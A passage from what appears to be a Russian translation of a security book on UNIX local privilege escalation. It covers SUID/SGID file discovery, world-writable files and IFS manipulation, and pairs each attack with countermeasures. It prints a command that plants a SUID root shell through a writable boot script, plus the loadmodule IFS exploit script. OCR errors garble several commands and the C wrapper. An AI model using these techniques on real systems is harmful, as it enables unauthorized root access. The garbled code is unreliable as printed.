Установка для файлов бита SUID или SGID — смертельно опасна. Этим все сказано! Ни один другой файл системы UNIX не подвержен столь частым попыткам злоумышленников всех мастей получить несанкционированный доступ, как файл с SUID суперпользователя. Практически во всех описанных выше случаях взлома были задействованы те или иные процессы, выполняющиеся на уровне привилегий суперпользователя, — большинство из них уже имели установленный бит SUID. Переполнение буфера, гонки на выживание и взлом с использованием символьных ссылок никогда не принесут ожидаемого эффекта, если для программы не установлен флаг SUID. К сожалению, большинство разработчиков относятся к биту SUID так, как будто это вышедшая из моды вещь. Пользователи, не заботящиеся о безопасности, также заражаются таким образом мышления. Многие из них слишком ленивы для того, чтобы предпринимать какие бы то ни было дополнительные меры при выполнении работы и склонны полагать, что все программы должны выполняться с уровнем привилегий суперпользователя.
Для того чтобы воспользоваться столь печальным отношением к безопасности, взломщик, получивший доступ к системе на уровне пользователя, должен сначала попытаться идентифицировать файлы с установленными битами SU1D и (или) GUID. Для этого обычно используется утилита find, позволяющая получить список файлов, с помощью которых можно попытаться получить доступ на уровне суперпользователя. Давайте рассмотрим пример поиска таких файлов в относительно простой системе Linux (для наглядности полученные результаты были сокращены).

[tsunami]# find / -type f -perm -04000 -Is
-rwsr-xr-x i root root 30520 May 5 1998 /usr/bin/at
-rwsr-xr-x 1 root root 29928 Aug 21 1998 /usr/bin/chage
-rwsr-xr-x 1 root root 29240 Aug 21 1998 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 770132 Oct 11 1998 /usr/bin/dos
-r-sr-sr-x 1 root root 13876 Oct 2 1998 /usr/bin/lpq
-r-sr-sr-x 1 root root 15068 Oct 2 1998 /usr/bin/lpr
-r-sr-sr-x 1 root root 14732 Oct 2 1998 /usr/bin/lprm
-rwsr-xr-x 1 root root 42156 Oct 2 1998 /usr/bin/nwsfind
-r-sr-xr-x 1 root bin 15613 Apr 27 1998 /usr/bin/passwd
-rws--x--x 2 root root 464140 Sep 10 1998 /usr/bin/suidperl

Большинство из перечисленных в листинге программ (например, chage и passwd) для корректной работы требуют наличия привилегий SUID. Скорее всего, взломщики сосредоточат свои усилия на таких программах, особенно на тех из них, которые уже взламывались в прошлом или слишком сложны, а следовательно, вероятность того, что в них имеются недостатки и ошибки, достаточно высока. Хорошей отправной точкой является программа dos. Эта программа создает виртуальную машину и для выполнения некоторых операций требует прямого доступа к аппаратным средствам. Прежде всего взломщики обращают внимание на те программы, которые выполняют нетривиальные операции или не находятся под таким жестким контролем, как другие SUID-программы. Давайте проведем небольшое исследование и попробуем определить, насколько программа dos пригодна для взлома. Для этого обратимся к документации HOWTO. Наша цель в данном исследовании — определить, имеются ли в этой программы дефекты, проявляющиеся в тех случаях, когда она запускается в контексте SUID. Если ответ будет положительным, значит, она предстаатается хорошим кандидатом для взлома.
В документации HOWTO по программе dos сказано следующее. "Хотя dosemu отключает привилегии root везде, где это возможно, безопаснее не запускать ее от имени суперпользователя, особенно если вы планируете запускать под ее управлением программы DPMI. Большинство обычных программ DOS не требует запуска dosemu от имени суперпользователя, особенно если она запускается в среде X. Поэтому во всех случаях, когда это возможно, вы не должны позволять пользователям запускать копии dosemu в контексте SUID суперпользователя, а лишь в контексте обычного пользователя. Этот режим можно настроить на уровне пользователей, используя файл /etc/dosemu.users."
Таким образом, в документации однозначно говорится о том, что пользователям рекомендуется запускать копию программы без установленного флага SUID. На нашей тестовой системе такие ограничения не применялись, о чем мы узнали из файла /etc/dosemu.users. Данный пример некорректной настройки демонстрирует именно то, к чему стремится любой злоумышленник: в системе имеется файл, с помощью которого с высокой степенью вероятности можно получить доступ на уровне суперпользователя. Злоумышленник может воспользоваться программой dos с установленным битом SUID как для непосредственного взлома, так и для определения того, можно ли с ее помощью применить такие методы, как переполнение буфера, использование символьных ссылок и так далее для взлома других программ. Это можно назвать классическим примером того, как программа, обладающая ничем не оправданным уровнем привилегий SUID, подвергает значительному риску безопасность всей системы.

Контрмеры: защита от взлома с использэванием SUID-файлов


Лучшей мерой по защите от взлома, основанного на использовании SUID/SGID-файлов, является сброс флага SUID/SGID у как можно большего количества файлов. Исчерпывающий список файлов, которые не должны иметь такого бита, привести трудно в связи с большими различиями в версиях UNIX разных разработчиков. Поэтому любой перечень, который мы могли бы представить в данной книге, почти наверняка окажется неполным. Можем лишь посоветовать провести инвентаризацию всех SUID/SGID-файлов и проверить, действительно ли необходимо, чтобы тот или иной файл имел привилегии на уровне суперпользователя. Для этого вы можете использовать метод, который применяют взломщики, когда хотят найти SUID/SGID-файлы. С помощью следующей команды можно найти все SUID-файлы.
 find / -type f -perm -04000 -ls
Для поиска SGID-файлов можно воспользоваться следующей командой, 
find / -type f -perm -02000 -ls
Подготовив список файлов, обратитесь к интерактивной справочной системе (man), документации и справке HOWTO, чтобы выяснить, рекомендуется ли в этих источниках удалить бит SUID того или иного файла. Проделав такую работу, вы будете удивлены, узнав, как много файлов не нуждается в привилегиях SUID/SGID. Конечно, прежде чем приступить к написанию сценария, удаляющего бит SUID/SGID у всех найденных файлов, необходимо проверить на тестовой системе, как это повлияет на работоспособность программ. Помните, что в каждой системе все-таки имеется несколько программ, которым для выполнения их функций нужны привилегии суперпользователя.

Общедоступные для записи файлы


Еще одной типичной ошибкой в настройке является разрешение записи в важные файлы всем пользователям. Как и в случае файлов SUID, общедоступные для записи файлы создаются для удобства работы. Однако за это приходится расплачиваться понижением уровня защиты важной информации. Если администратор не замечает очевидных недостатков, то злоумышленники, как правило, находят их очень быстро. К файлам, которые часто открывают для всеобщего доступа, относятся системные файлы инициализации, важные системные конфигурационные файлы и пользовательские файлы запуска. Давайте рассмотрим некоторые примеры того, как взломщик может воспользоваться общедоступными для записи файлами, find / -perm -2 -type f -print
Данный синтаксис команды find позволяет найти общедоступные для записи файлы.

/etc/rc.d/rc3.d/S991ocal
/var/tmp
/var/tmp/.Xll-unix
/var/tmp/.Xll-unix/XO
/var/tmp/.font-unix
/var/lib/games/xgaIscores
/var/lib/news/innd/ctlinnda28392
/var/lib/news/innd/ctlinndal8685
/var/spool/fax/outgoing
/var/spool/fax/outgoing/locks
/home/public

Итак, даже беглого взгляда на полученные результаты достаточно, чтобы сделать вывод о наличии серьезных проблем. В частности, файл /etc/re.d/rc3.d/S991ocal является общедоступным для записи сценарием. Данная ситуация чрезвычайно опасна, поскольку при запуске системы этот сценарий выполняется с привилегиями суперполъзователя. Например, взломщик может создать экземпляр командной оболочки, работающей в контексте SU1D, которая будет запущена при следующем запуске системы. Для этого ему достаточно добавить в файл сценария следующую команду.

[tsunami]$ echo "/bin/cp /bin/sh /trap/.sh ;
/bin/chmod 4755 /tmp/.sh"
\
/etc/re.d/rc3.d/S991ocal

При следующей перезагрузке системы в каталоге /tmp будет создан SUID-экземпляр командной оболочки. Второй возможный метод взлома заключается в использовании каталога /home/public. Поскольку он открыт для записи, с помощью команды mv взломщик может перезаписать любой файл из этого каталога. Это оказывается возможным, поскольку права доступа к каталогу перекрывают права доступа к отдельным файлам этого каталога. Скорее всего, типичный взломщик перепишет файлы запуска пользовательских экземпляров командной оболочки (например. . login или .bashrc), в которых будет создан файл SUID. После того как кто-нибудь использует учетную запись public для регистрации в системе, командная оболочка с правами суперпользователя будет ожидать взломщика.

Контрмеры: защита общедоступных для записи файлов


Регулярный поиск всех общедоступных для записи файлов является хорошей практикой системного администратора. Измените права записи для всех найденных каталогов и файлов, которые не должны быть общедоступными. Конечно, решение о том, нужно ли тот или иной файл или каталог делать общедоступным, иногда принять довольно сложно, поэтому мы рекомендуем исходить хотя бы из здравого смысла. Если этот файл используется при инициализации, конфигурации или запуске системы, то, скорее всего, он не должен быть общедоступным. Однако помните, что файлы драйверов некоторых устройств, находящиеся в папке /dev, должны быть общедоступными. Поэтому применяйте взвешенный подход к вносимым изменениям и тщательно тестируйте работоспособность системы после каждого существенного изменения.
Обсуждение дополнительных атрибутов файлов выходит за рамки данной книги, но все же эта возможность заслуживает того, чтобы упомянуть о ней хотя бы в двух словах. Безопасность многих систем можно существенно повысить, установив для определенных ключевых файлов флаги read-only, append и immutable. В Linux и многих вариантах BSD имеются дополнительные флаги, которые, к сожалению, очень редко используются (в Linux для работы с ними предназначена команда chattr). Применяя эти дополнительные атрибуты совместно со средствами защиты на уровне ядра (в тех системах, в которых они поддерживаются), можно существенно повысить уровень безопасности системы.

Взлом командной оболочки


Командная оболочка UNIX представляет собой очень мощную программу, которая обеспечивает удобную работу пользователей. Одной из главных отличительных особенностей окружения командной оболочки UNIX является возможность программировать команды, а также устанавливать определенные параметры, влияющие на работу самой командной оболочки. Конечно же, как часто бывает в подобных ситуациях, богатые возможности имеют и обратную сторону, проявляющуюся в наличии многочисленных слабых мест с точки зрения обеспечения безопасности. Одним из самых популярных методов взлома является использование переменной IFS (Internal Field Separator).

Взлом IFS


Переменная IFS предназначена для отделения друг от друга слов, используемых в окружении командной оболочки. Обычно значением переменной IFS является символ пробела, который служит для разделения команд по умолчанию. Манипулируя переменной IFS, взломщик может запустить с помощью какой-нибудь SUID-программы "троянского коня" и получить, таким образом, привилегии суперпользователя. Обычно в этих целях используется сценарий командной оболочки с установленным флагом SUID, однако в рассматриваемом примере мы воспользуемся программой loadmodule.
Программа взлома loadmodule широко известна. Она была создана несколько лет назад и основана на использовании изъяна SunOS 4.1.x, связанного с переменной IFS. 

#!/bin/csh
cd /trap
mkdir bin cd bin cat > bin « EOF<R #!/bin/sh
sh -I
EOF
chmod 755 /tmp/bin/bin
setenv IFS /
/usr/openwin/bin/loadmodule
/sys/sun4c/OBJ/evqmod-sun4c.о
/etc/openwin/modules/evqload

Данный сценарий взлома делает текущим каталог /tmp и создает в нем дочерний каталог /bin. Как это зачастую бывает, создается копия /bin/sh, которая вскоре будет запущена. Затем для переменной IFS в сценарии устанавливается значение / вместо символа пробела. Поскольку в переменной 1FS содержится значение /, то SUID-программа loadmodule, ничего не подозревая, запускает на выполнение программу /tmp/bin/bin. В результате создается копия командной оболочки с привилегиями суперпользователя, которой взломщику остается лишь воспользоваться.

Контрмеры: защита переменной IFS


При взломе с использованием переменной IFS в большинстве случаев мишенью злоумышленников является системная функция system(). Вызов этой функции используется в оболочке sh для анализа командной строки перед ее выполнением Для того чтобы избежать возможных злоупотреблений, можно применить простую программу, которая автоматически устанавливает в качестве значения переменной IFS символ пробела. Ниже приведен пример такой программы, код которой предоставил Джереми Рауч (Jeremy Rauch). 

#define EXECPATH "/usr/bin/real/"
main(int argc, char **argv)
{ char pathname[1024]; if (strlen(EXECPATH)
+ strlen(argv[0]) + l> 1024)
exit(-1);
strcpy(pathname, EXECPATH);
street(pathname, argv[0]);
putenv("IFS= \n\t");
execv(pathname, argv, argc);
}

К счастью, большинство современных версий UNIX игнорирует значение переменной IFS, если командная оболочка работает с привилегиями суперпользователя, а ее эффективный UID отличается от реального UID. В качестве совета можно еше pas подчеркнуть, что не нужно создавать сценарии с привилегиями SUID, а количество SUID-файлов свести к минимуму.


Назад Начало Вперед



Книжный магазин